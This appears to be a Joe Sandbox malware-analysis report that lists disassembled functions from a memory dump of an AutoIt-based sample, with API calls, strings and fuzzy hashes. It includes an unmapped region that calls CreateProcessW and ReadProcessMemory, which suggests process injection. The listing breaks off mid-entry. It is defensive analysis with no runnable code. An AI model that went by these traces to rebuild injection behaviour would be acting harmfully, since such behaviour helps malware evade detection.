Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: bb69f6e68918d2510af801f9492ac9b0690b822613d4545590ae60814c7113f8
Instruction ID: ae7644bbac790e77f938957f31d143e5fc07c5f795180ae25235f0550d80ef6d
Opcode Fuzzy Hash: bb69f6e68918d2510af801f9492ac9b0690b822613d4545590ae60814c7113f8
Instruction Fuzzy Hash: ACA12832A001088FDF19FF68D852BAD7BE0EB46324F14515AF819BB2A1DB319857DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00E4344D Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00E43A5A: GetModuleFileNameW.KERNEL32 ref: 00E43A78

Part of subcall function 00E43357: GetFullPathNameW.KERNEL32 ref: 00E43379

RegOpenKeyExW.KERNEL32 ref: 00E4356A
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 00E8318D
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?), ref: 00E831CE
RegCloseKey.ADVAPI32(?), ref: 00E83210
_wcslen.LIBCMT ref: 00E83277
_wcslen.LIBCMT ref: 00E83286

Strings

\Include\, xrefs: 00E43527
\, xrefs: 00E8328C
Include, xrefs: 00E83184, 00E831C5
Software\AutoIt v3\AutoIt, xrefs: 00E43560

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: NameQueryValue_wcslen$CloseFileFullModuleOpenPath
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 98802146-2727554177
Opcode ID: d983599744ef26319b2e722420e97616d66c5f267ca3526e6d6596c343b657bf
Instruction ID: 57395be05b935978e8c3e4806856c8ef9ad9b418b38b557ed1ab86f643a0d5ec
Opcode Fuzzy Hash: d983599744ef26319b2e722420e97616d66c5f267ca3526e6d6596c343b657bf
Instruction Fuzzy Hash: FA71D2714053059EC304EFA9EC8299BBBE8FF84740F41682EF559E31B1EB348A58DB52

Uniqueness

Uniqueness Score: -1.00%

Function 00E42B83 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 63
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32 ref: 00E42B8E
LoadCursorW.USER32 ref: 00E42B9D
LoadIconW.USER32 ref: 00E42BB3
LoadIconW.USER32 ref: 00E42BC5
LoadIconW.USER32 ref: 00E42BD7
LoadImageW.USER32 ref: 00E42BEF
RegisterClassExW.USER32(?), ref: 00E42C40

Part of subcall function 00E42CD4: GetSysColorBrush.USER32 ref: 00E42D07
Part of subcall function 00E42CD4: RegisterClassExW.USER32(00000030), ref: 00E42D31
Part of subcall function 00E42CD4: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00E42D42
Part of subcall function 00E42CD4: InitCommonControlsEx.COMCTL32(?), ref: 00E42D5F
Part of subcall function 00E42CD4: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00E42D6F
Part of subcall function 00E42CD4: LoadIconW.USER32 ref: 00E42D85
Part of subcall function 00E42CD4: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00E42D94

Strings

0, xrefs: 00E42C0F
AutoIt v3, xrefs: 00E42C2F
#, xrefs: 00E42C16

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: 0b06074dbe8a0b1bb6dff4812a178da5b4f906c99f0348c7573943ad9342f674
Instruction ID: a8e15f0da920cc09ad9ab405f9d24cefa9c2440b6be9bc3cc87eaad3762d1764
Opcode Fuzzy Hash: 0b06074dbe8a0b1bb6dff4812a178da5b4f906c99f0348c7573943ad9342f674
Instruction Fuzzy Hash: AD212C70E02318AFDB109FA6EC55ADABFB4FB48B50F11801BF610B66A4D7B11554EF90

Uniqueness

Uniqueness Score: -1.00%

Function 00E43170 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 145
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?,?,?,?,?,?,00E4316A,?,?), ref: 00E431D8
KillTimer.USER32 ref: 00E43204
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00E43227
RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,00E4316A,?,?), ref: 00E43232
CreatePopupMenu.USER32 ref: 00E43246
PostQuitMessage.USER32 ref: 00E43267

Strings

TaskbarCreated, xrefs: 00E4322D

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: 806b1b2f377bd059a9c80e5dc65e653f2392138e6fc9cc9b97b4012e4ce08abe
Instruction ID: 2a377c38c5a62043a303c5bc28dd601c09dcf0c99326e1c8e4def471f4382e36
Opcode Fuzzy Hash: 806b1b2f377bd059a9c80e5dc65e653f2392138e6fc9cc9b97b4012e4ce08abe
Instruction Fuzzy Hash: D6417B30200208ABDF142B78BC1DBF93B59F705348F14711AFA1AB62E2C7B1AB40E765

Uniqueness

Uniqueness Score: -1.00%

Function 00112620 Relevance: 10.7, APIs: 7, Instructions: 239
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 001126F1
VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00112917

Memory Dump Source

Source File: 00000003.00000002.447471100.0000000000110000.00000040.00001000.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_CKK.jbxd

Similarity

API ID: CreateFileFreeVirtual
String ID:
API String ID: 204039940-0
Opcode ID: c69e8af538ca099f1199ea1a41374fe769c00d7324591793f5319154b009097c
Instruction ID: a36b8f46aa39995f9e1eac946769f8343e3f5976259c39a751691aa0ff9022ed
Opcode Fuzzy Hash: c69e8af538ca099f1199ea1a41374fe769c00d7324591793f5319154b009097c
Instruction Fuzzy Hash: 7BA12974E00209EBDB18CFA4C895BEEBBB5FF58304F208169E511BB280D7759A91DF94

Uniqueness

Uniqueness Score: -1.00%

Function 00E42C63 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32 ref: 00E42C91
CreateWindowExW.USER32 ref: 00E42CB2
ShowWindow.USER32(00000000), ref: 00E42CC6
ShowWindow.USER32(00000000), ref: 00E42CCF

Strings

edit, xrefs: 00E42CAC
AutoIt v3, xrefs: 00E42C89, 00E42C8E, 00E42C8F

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: edabfae8857b9f2b0d488673203de7f344c6027160587d23f67ca3b683416563
Instruction ID: bc9f3359cccb8720cea0bde07ff5bc6fc13a9419a90f451349e5538d3cdab25a
Opcode Fuzzy Hash: edabfae8857b9f2b0d488673203de7f344c6027160587d23f67ca3b683416563
Instruction Fuzzy Hash: FBF030755402947AEB3007236C08EB77E7DE7C6F50F11411AFA10A2164C2620841EE70

Uniqueness

Uniqueness Score: -1.00%

Function 00E761FE Relevance: 9.2, APIs: 6, Instructions: 216
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000), ref: 00E76258
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?), ref: 00E762DE
WideCharToMultiByte.KERNEL32 ref: 00E763D8
__freea.LIBCMT ref: 00E763E5

Part of subcall function 00E73820: RtlAllocateHeap.NTDLL(00000000,?,00F11444,?,00E5FDF5,?,?,00E4A976,00000010,00F11440,00E413FC,?,00E413C6,?,00E41129), ref: 00E73852

__freea.LIBCMT ref: 00E763EE
__freea.LIBCMT ref: 00E76413

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 81ccec10d1dc6d022e920557df7b2170ea01136aa5e5ebc9d6b63ec3ae1581a7
Instruction ID: 90ae7889a8b5f0f0e2f1ec6fbc365116a29fa2849fc69243361c20133a57b950
Opcode Fuzzy Hash: 81ccec10d1dc6d022e920557df7b2170ea01136aa5e5ebc9d6b63ec3ae1581a7
Instruction Fuzzy Hash: A8510272600616BFEB258F64DC81EAF77A9EB84758F249229FC09F6150EB34DC44C760

Uniqueness

Uniqueness Score: -1.00%

Function 00112410 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 138
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00112300: Sleep.KERNELBASE(000001F4), ref: 00112311

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 00112517

Strings

8HQTGX6BSVHVPH, xrefs: 0011257A, 0011257D

Memory Dump Source

Source File: 00000003.00000002.447471100.0000000000110000.00000040.00001000.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_CKK.jbxd

Similarity

API ID: CreateFileSleep
String ID: 8HQTGX6BSVHVPH
API String ID: 2694422964-767422031
Opcode ID: 0313425ca3b445e08516944835eba6c232b142d28b04bc0435b4a29c10db4284
Instruction ID: fbf111f880a86deb097082d34e2d9de61d9a545af8ac8c713f7a811ae91416f3
Opcode Fuzzy Hash: 0313425ca3b445e08516944835eba6c232b142d28b04bc0435b4a29c10db4284
Instruction Fuzzy Hash: FF519431D14249DBEF15DBA4C859BEFBB75AF19300F1041A8E618BB2C0D7790B89CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00EB2947 Relevance: 7.8, APIs: 5, Instructions: 313
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNEL32 ref: 00EB2C05
DeleteFileW.KERNEL32 ref: 00EB2C87
CopyFileW.KERNEL32 ref: 00EB2C9D
DeleteFileW.KERNEL32 ref: 00EB2CAE
DeleteFileW.KERNELBASE ref: 00EB2CC0

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: File$Delete$Copy
String ID:
API String ID: 3226157194-0
Opcode ID: 23903cf9e9988e9d3f058a2a29eb8d809fbfaed23b8770048f1d389a0a8d0f30
Instruction ID: 74df4bf540242c12a642b7919f6b0f7ff8dd6a1e75fc6ea64051c57a71125987
Opcode Fuzzy Hash: 23903cf9e9988e9d3f058a2a29eb8d809fbfaed23b8770048f1d389a0a8d0f30
Instruction Fuzzy Hash: 0FB13A72A01119ABDF21DFA4DC85EDFBBBDEF48350F1050AAF609F6151EA309A448F61

Uniqueness

Uniqueness Score: -1.00%

Function 00E75AA9 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 186
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

JO, xrefs: 00E75BA8, 00E75C6C

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID:
String ID: JO
API String ID: 0-1663374661
Opcode ID: 42e9b3fc98ac9d42533902c57b8753ebd6683c8a3567b622775da0b7d2c31167
Instruction ID: 711b3b0861085b4973cd48a19efda04023994b12bed7da3b534e520157357ea4
Opcode Fuzzy Hash: 42e9b3fc98ac9d42533902c57b8753ebd6683c8a3567b622775da0b7d2c31167
Instruction Fuzzy Hash: CE51CD72D0060A9FCB21DFA4D845BFEBBB8EF05314F14A15AF409B7291D7B19A019B61

Uniqueness

Uniqueness Score: -1.00%

Function 00E43B1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32 ref: 00E43B40
RegQueryValueExW.KERNEL32(00000000,00000000,00000000,00000000,?,?), ref: 00E43B61
RegCloseKey.ADVAPI32(00000000), ref: 00E43B83

Strings

Control Panel\Mouse, xrefs: 00E43B3E

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: 482f5a63ae74c4e05fc42eeb24220e8eb646d3054667ce40dfdb7971b4ba7af5
Instruction ID: 5517fabbf46f0f47191e03271727cad77295ae5b31aeaf5da3a64507aa719665
Opcode Fuzzy Hash: 482f5a63ae74c4e05fc42eeb24220e8eb646d3054667ce40dfdb7971b4ba7af5
Instruction Fuzzy Hash: DD112AB5511208FFDB218FA5EC44AEEB7B9EF04784B10955AA805E7110D2319E449760

Uniqueness

Uniqueness Score: -1.00%

Function 00E4DFD0 Relevance: 6.7, APIs: 2, Strings: 1, Instructions: 1414COMMON

Download Yara Rule

Strings

Variable must be of type 'Object'., xrefs: 00E932B7

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID:
String ID: Variable must be of type 'Object'.
API String ID: 0-109567571
Opcode ID: 7bd07fe17cc7defa20d68765f34c8aaba96b0332242e3c7b2d19799c7360434d
Instruction ID: 25214fb3b4ee4f34f3f1288e1d1713307c271fe48d9f8bcbf837f97f71c3d690
Opcode Fuzzy Hash: 7bd07fe17cc7defa20d68765f34c8aaba96b0332242e3c7b2d19799c7360434d
Instruction Fuzzy Hash: 90C27875A00214CFCB24CFA8E881AADB7F1BF08314F24A569E956BB391D375ED41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00E73073 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE ref: 00E730A5
GetLastError.KERNEL32 ref: 00E730B1
LoadLibraryExW.KERNEL32 ref: 00E730BF

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: 492e43957e03f317f6591a1216bf2ead11818b31cdd5c8966ef342e7ca15e91c
Instruction ID: 4ed08233c0a1dd1baa08a69a5f79447377f5317844673ada44cd45e898e277f6
Opcode Fuzzy Hash: 492e43957e03f317f6591a1216bf2ead11818b31cdd5c8966ef342e7ca15e91c
Instruction Fuzzy Hash: A5014732342223AFCB704B79AC44A977B98EF05BA1B208321F909F3180CB21C945D6E0

Uniqueness

Uniqueness Score: -1.00%

Function 00E4EC40 Relevance: 5.7, APIs: 3, Instructions: 1195COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 00E4FE66

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Init_thread_footer
String ID:
API String ID: 1385522511-0
Opcode ID: 20d494278d5ac313ef42284a2685101f40e7232b2028581d8b12a04d9fa613f7
Instruction ID: f0e4fcc02e61e5fc390bf3e2e4994d8704ad61a0974b91b48dfbe65c28a2bb97
Opcode Fuzzy Hash: 20d494278d5ac313ef42284a2685101f40e7232b2028581d8b12a04d9fa613f7
Instruction Fuzzy Hash: FFB29C74A08340CFCB24CF18E480A6AB7E1BF89714F24596DF895AB3A1D771EC45DB92

Uniqueness

Uniqueness Score: -1.00%

Function 00E5FDDB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 00E60668

Part of subcall function 00E632A4: RaiseException.KERNEL32(?,?,?,00E6068A), ref: 00E63304

__CxxThrowException@8.LIBVCRUNTIME ref: 00E60685

Strings

Unknown exception, xrefs: 00E60692

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Exception@8Throw$ExceptionRaise
String ID: Unknown exception
API String ID: 3476068407-410509341
Opcode ID: b9283e463f9a110c35e81b05c4a870df31c7c8e50566476e39cdd2aa4dc65054
Instruction ID: 9585e581713404c449f4be6c813168585c34981d32777ec502192bf1911aa1d0
Opcode Fuzzy Hash: b9283e463f9a110c35e81b05c4a870df31c7c8e50566476e39cdd2aa4dc65054
Instruction Fuzzy Hash: 6BF0C23498020D77CB00BAB4FC56D9E77BC5E403D4B606531F914B69E2EF71DA6AC681

Uniqueness

Uniqueness Score: -1.00%

Function 00EB3017 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 00EB302F
GetTempFileNameW.KERNELBASE(?,aut,00000000,?), ref: 00EB3044

Strings

aut, xrefs: 00EB3038

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: 90d190593a44918596161014c23cc717ae715431e2aaa29c13d85cb138f084f0
Instruction ID: aae1dcb79f1b4d651246a440150005793c99785265ecbe46acd2a05e95d67987
Opcode Fuzzy Hash: 90d190593a44918596161014c23cc717ae715431e2aaa29c13d85cb138f084f0
Instruction Fuzzy Hash: 75D05B71501314AFDA20A795AC0DFC73B6CD704750F000252B655E20E1DAB4D544CAD0

Uniqueness

Uniqueness Score: -1.00%

Function 00111300 Relevance: 5.2, APIs: 3, Instructions: 720processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(?,00000000), ref: 00111B2D
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 00111B73

Memory Dump Source

Source File: 00000003.00000002.447471100.0000000000110000.00000040.00001000.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_CKK.jbxd

Similarity

API ID: Process$CreateMemoryRead
String ID:
API String ID: 2726527582-0
Opcode ID: 4a62210935fbc19ac52c28b7856ac9112c9a9e608a38d15f0a7da1a89c903d0f
Instruction ID: c458747ba9b2b48e2356c8e0afab58258532de3e24bb40031e70129b58607ff6
Opcode Fuzzy Hash: 4a62210935fbc19ac52c28b7856ac9112c9a9e608a38d15f0a7da1a89c903d0f
Instruction Fuzzy Hash: 07620A30A14258DBEB28CFA4C851BDEB376EF58300F1091A9D60DEB394E7759E81CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00EC7F59 Relevance: 4.9, APIs: 3, Instructions: 430COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00EC82F5
TerminateProcess.KERNEL32 ref: 00EC82FC
FreeLibrary.KERNEL32 ref: 00EC84DD

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Process$CurrentFreeLibraryTerminate
String ID:
API String ID: 146820519-0
Opcode ID: cefc9f8ec62254a7b61987cdb4575f1e97562b0b8c9487f77737716450db8657
Instruction ID: 6ee3f3d604d3f336667d1f60f7af9586a280c574692c8c4f180b0a73a8215c48
Opcode Fuzzy Hash: cefc9f8ec62254a7b61987cdb4575f1e97562b0b8c9487f77737716450db8657
Instruction Fuzzy Hash: 05127D71A083419FC714DF28C684B5ABBE1FF84318F14995DE899AB352CB31ED46CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00E410F3 Relevance: 4.7, APIs: 3, Instructions: 153comCOMMON

Download Yara Rule

APIs

Part of subcall function 00E41BC3: MapVirtualKeyW.USER32(0000005B,00000000), ref: 00E41BF4
